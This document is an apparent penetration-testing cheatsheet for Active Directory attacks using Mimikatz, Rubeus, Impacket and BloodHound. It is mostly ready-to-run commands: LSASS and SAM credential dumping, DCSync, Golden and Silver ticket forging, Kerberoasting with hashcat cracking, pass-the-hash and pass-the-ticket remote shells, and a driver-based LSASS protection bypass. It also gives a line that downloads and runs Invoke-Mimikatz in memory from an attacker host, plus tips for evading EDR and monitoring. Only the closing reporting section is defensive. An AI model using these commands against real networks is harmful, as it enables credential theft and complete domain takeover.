πŸ›‘οΈ Methodology Checklist

  • Mimikatz: dump LSASS hashes β€” sekurlsa::logonpasswords (requires SYSTEM or SeDebugPrivilege)
  • Mimikatz: DCSync for krbtgt β€” lsadump::dcsync /user:krbtgt /domain:[DOMAIN]
  • Rubeus: Kerberoast all SPNs β€” Rubeus.exe kerberoast /outfile:hashes.txt
  • Rubeus: AS-REP Roast β€” Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
  • Rubeus: Request TGT β€” Rubeus.exe asktgt /user:[USER] /password:[PASS] /opsec /ptt
  • impacket-secretsdump: remote credential dump β€” impacket-secretsdump [DOMAIN]/[USER]:[PASS]@[DC]
  • SharpHound: collect all AD data β€” SharpHound.exe -c All --zipfilename loot.zip
  • BloodHound: import zip, mark owned, find shortest path to DA

🎯 Operational Context

Use when: AD foothold obtained and lateral movement or privilege escalation requires specialized tooling β€” Mimikatz for credential extraction, Rubeus for Kerberos manipulation, Impacket for remote operations from Linux, BloodHound/SharpHound for attack path mapping. Think Dumber First: Before any tool: whoami /priv (need SeDebugPrivilege for Mimikatz), klist (see existing tickets), nxc smb [DC] -u [USER] -p [PASS] (confirm access). Match the tool to the current task β€” Rubeus for Kerberos-only, Mimikatz for in-memory credentials, Impacket for Linux-to-Windows ops. Skip when: EDR is active β€” default Mimikatz and SharpHound signatures are well-known; use nxc/impacket alternatives that generate less detection noise.


⚑ Tactical Cheatsheet

Mimikatz β€” In-Memory Credential Extraction

CommandTactical Outcome
privilege::debugEnable SeDebugPrivilege for LSASS access
sekurlsa::logonpasswordsDump NTLM hashes + plaintext creds from LSASS
sekurlsa::tickets /exportExport all Kerberos tickets from LSASS to .kirbi files
lsadump::samDump SAM database hashes (requires SYSTEM)
lsadump::dcsync /user:krbtgt /domain:[DOMAIN]DCSync to get krbtgt hash (requires replication rights)
lsadump::dcsync /all /csv /domain:[DOMAIN]DCSync all domain account hashes to CSV
kerberos::golden /user:[USER] /domain:[DOMAIN] /sid:[DOMAIN_SID] /krbtgt:[HASH] /pttForge and inject Golden Ticket
kerberos::silver /user:[USER] /domain:[DOMAIN] /sid:[SID] /target:[HOST] /service:cifs /rc4:[SVC_HASH] /pttForge Silver Ticket for specific service
kerberos::ptt ticket.kirbiInject .kirbi ticket into current session
vault::credDump Windows Credential Manager entries
!+Load mimidrv.sys driver (bypasses PPL for LSASS)

Rubeus β€” Kerberos Ticket Operations

CommandTactical Outcome
Rubeus.exe kerberoast /outfile:hashes.txtKerberoast all SPN accounts, save hashcat-ready hashes
Rubeus.exe kerberoast /user:[SVC_ACCT] /outfile:hashes.txtKerberoast specific service account
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txtAS-REP roast all preauth-disabled accounts
Rubeus.exe asktgt /user:[USER] /password:[PASS] /opsec /pttRequest TGT and inject (opsec uses RC4 to avoid AES detection)
Rubeus.exe asktgt /user:[USER] /certificate:[PFX] /pttRequest TGT via PKINIT certificate
Rubeus.exe ptt /ticket:[BASE64]Inject ticket from Base64 blob
Rubeus.exe dump /service:krbtgt /nowrapDump all krbtgt tickets from LSASS
Rubeus.exe triageList all tickets in all logon sessions
Rubeus.exe monitor /interval:5 /targetuser:[USER]Monitor for new tickets from specific user
Rubeus.exe s4u /user:[SVC] /rc4:[HASH] /impersonateuser:[DA] /msdsspn:cifs/[HOST] /pttS4U2Self/S4U2Proxy constrained delegation abuse
Rubeus.exe renew /ticket:[BASE64] /pttRenew a renewable ticket

Impacket Suite β€” Remote Windows Operations from Linux

CommandTactical Outcome
impacket-secretsdump [DOMAIN]/[USER]:[PASS]@[DC]Remote dump of SAM + SYSTEM + NTDS via DRSUAPI
impacket-secretsdump -sam sam.save -system sys.save LOCALParse local offline SAM+SYSTEM files
impacket-GetUserSPNs [DOMAIN]/[USER]:[PASS] -dc-ip [DC] -request -outputfile kerb.hashesKerberoast β€” get TGS hashes for all SPN accounts
impacket-GetNPUsers [DOMAIN]/ -usersfile users.txt -format hashcat -outputfile asrep.hashesAS-REP Roast β€” no pre-auth accounts
impacket-psexec [DOMAIN]/[USER]:[PASS]@[TARGET]PsExec-style SYSTEM shell via SMB
impacket-psexec [DOMAIN]/[USER]@[TARGET] -hashes :[NTLM_HASH]PsExec via Pass-the-Hash
impacket-wmiexec [DOMAIN]/[USER]:[PASS]@[TARGET]WMI-based shell (less noisy than psexec)
impacket-smbexec [DOMAIN]/[USER]:[PASS]@[TARGET]SMB-based shell using service creation
impacket-atexec [DOMAIN]/[USER]:[PASS]@[TARGET] "[CMD]"Execute command via Task Scheduler
impacket-ticketConverter ticket.kirbi ticket.ccacheConvert Windows .kirbi to Linux ccache format
impacket-lookupsid [DOMAIN]/[USER]:[PASS]@[TARGET]Enumerate domain SIDs for all accounts
impacket-reg [DOMAIN]/[USER]:[PASS]@[TARGET] query -keyName 'HKLM\\...'Remote registry query
export KRB5CCNAME=/tmp/ticket.ccache; impacket-psexec -k -no-pass [DOMAIN]/[USER]@[TARGET]Pass-the-Ticket using ccache file

BloodHound / SharpHound β€” AD Attack Path Analysis

CommandTactical Outcome
SharpHound.exe -c All --zipfilename loot.zipFull Windows AD collection β€” all data types
SharpHound.exe -c DCOnly --zipfilename dc_only.zipFast DC-only collection (no session data)
bloodhound-python -u [USER] -p [PASS] -d [DOMAIN] -dc [DC_IP] -c All -ns [DC_IP]Linux-side BloodHound collection
nxc ldap [DC] -u [USER] -p [PASS] --bloodhound -ns [DC_IP] -c AllBloodHound collection via nxc (no file transfer)
MATCH p=shortestPath((n:User {name:'[USER]@[DOMAIN]'})-[*1..]->(m:Group {name:'DOMAIN ADMINS@[DOMAIN]'})) RETURN pCypher: shortest path from owned user to DA
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnamesCypher: all Kerberoastable accounts
MATCH (u:User {dontreqpreauth:true}) RETURN u.nameCypher: all AS-REP roastable accounts
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.nameCypher: unconstrained delegation computers

πŸ”¬ Deep Dive & Workflow

Mimikatz β€” Execution Methods by Privilege Level

# Method 1: Interactive (requires SYSTEM or admin + SeDebug)
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
 
# Method 2: One-liner for credential dump
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" | Out-File creds.txt
 
# Method 3: In-memory via PowerShell (bypasses disk-based AV)
IEX (New-Object Net.WebClient).DownloadString('http://[LHOST]/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
 
# Method 4: Dump LSASS without Mimikatz, parse offline
# On target: dump LSASS
rundll32 C:\windows\system32\comsvcs.dll, MiniDump [LSASS_PID] C:\Temp\lsass.dmp full
# On attack box: parse with pypykatz
pypykatz lsa minidump lsass.dmp

Rubeus β€” Kerberoasting Full Workflow

# Step 1: Kerberoast all accounts, output hashcat format
Rubeus.exe kerberoast /outfile:kerb.hashes /nowrap
 
# Step 2: Crack on attack box
hashcat -a 0 -m 13100 kerb.hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
 
# Step 3: Validate cracked creds
nxc smb [DC] -u [SVC_ACCT] -p [CRACKED_PASS]
 
# For targeted AS-REP Roasting:
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes
hashcat -a 0 -m 18200 asrep.hashes rockyou.txt

Impacket β€” Remote Lateral Movement Chain (Linux β†’ Windows)

# Step 1: Verify access
nxc smb [TARGET] -u [USER] -p [PASS]  # Must show Pwn3d!
 
# Step 2: Get remote shell
impacket-wmiexec [DOMAIN]/[USER]:[PASS]@[TARGET]
 
# Step 3: Pass-the-Hash variant
impacket-psexec [DOMAIN]/Administrator@[TARGET] -hashes :[NTLM_HASH]
 
# Step 4: Pass-the-Ticket (after converting kirbi→ccache)
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/tmp/ticket.ccache
impacket-wmiexec -k -no-pass [DOMAIN]/[USER]@[TARGET]
 
# DCSync from Linux
impacket-secretsdump -just-dc-user krbtgt [DOMAIN]/[DA_USER]:[DA_PASS]@[DC_IP]
impacket-secretsdump -just-dc [DOMAIN]/[DA_USER]:[DA_PASS]@[DC_IP]  # all accounts

SharpHound β€” Collection Best Practices

# Full collection β€” most complete, most noisy
SharpHound.exe -c All --zipfilename loot.zip --outputdirectory C:\Temp\
 
# Stealth collection β€” DC only, no workstation session queries
SharpHound.exe -c DCOnly,LoggedOn --zipfilename loot.zip
 
# Target specific domain
SharpHound.exe -c All -d [DOMAIN] --domaincontroller [DC_FQDN] --zipfilename loot.zip
 
# After import, key BloodHound GUI actions:
# 1. Analysis β†’ Find Shortest Paths to Domain Admins
# 2. Analysis β†’ Find Kerberoastable Users with most privileges
# 3. Analysis β†’ Find AS-REP Roastable Users
# 4. Mark owned users/computers right-click β†’ Mark as Owned
# 5. Node β†’ Reachable High Value Targets from owned node

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Mimikatz privilege::debug failsNot admin or PPL activeElevate to SYSTEM first; for PPL use !+ to load driver bypass
Rubeus kerberoast returns 0 hashesNo SPN accounts or wrong DCVerify: impacket-GetUserSPNs [DOMAIN]/[USER]:[PASS] -dc-ip [DC] from Linux
impacket-psexec access deniedADMIN$ not writable or blockedTry wmiexec or smbexec; confirm nxc smb [TARGET] shows Pwn3d!
DCSync blocked by MDIReplication traffic monitoredUse VSS shadow copy method instead; less detectable
SharpHound detected by AVKnown binary signatureUse bloodhound-python from Linux or nxc --bloodhound; no binary on target
BloodHound import failsVersion mismatch (CE vs Legacy)Match SharpHound version to BloodHound version; CE needs SharpHound 2.x
Ticket from Rubeus won’t injectAlready have conflicting ticketklist purge first, then Rubeus.exe ptt /ticket:[BASE64]
impacket clock skew errorTime not synced with DCntpdate -u [DC_IP] then retry Kerberos operations

πŸ“ Reporting Trigger

Finding Title: AD Attack Tool Execution β€” Credential Extraction and Kerberos Abuse Impact: Use of Mimikatz, Rubeus, and Impacket suite demonstrates that an attacker with initial AD access can systematically extract all domain credentials, manipulate Kerberos tickets, and achieve remote code execution across all Windows hosts β€” escalating a single compromised account to complete domain ownership. Root Cause: Multiple compounding AD security deficiencies: no Credential Guard (allows LSASS dump), weak service account passwords (Kerberoasting), no MDI monitoring (DCSync undetected), and NTLM acceptance enabling Pass-the-Hash. Recommendation: Deploy Credential Guard on all endpoints. Implement MDI to detect Mimikatz, DCSync, and Rubeus patterns. Use gMSA for all service accounts. Enforce MFA for privileged accounts. Harden LSASS with PPL (RunAsPPL). Disable NTLMv1 and monitor NTLMv2 usage.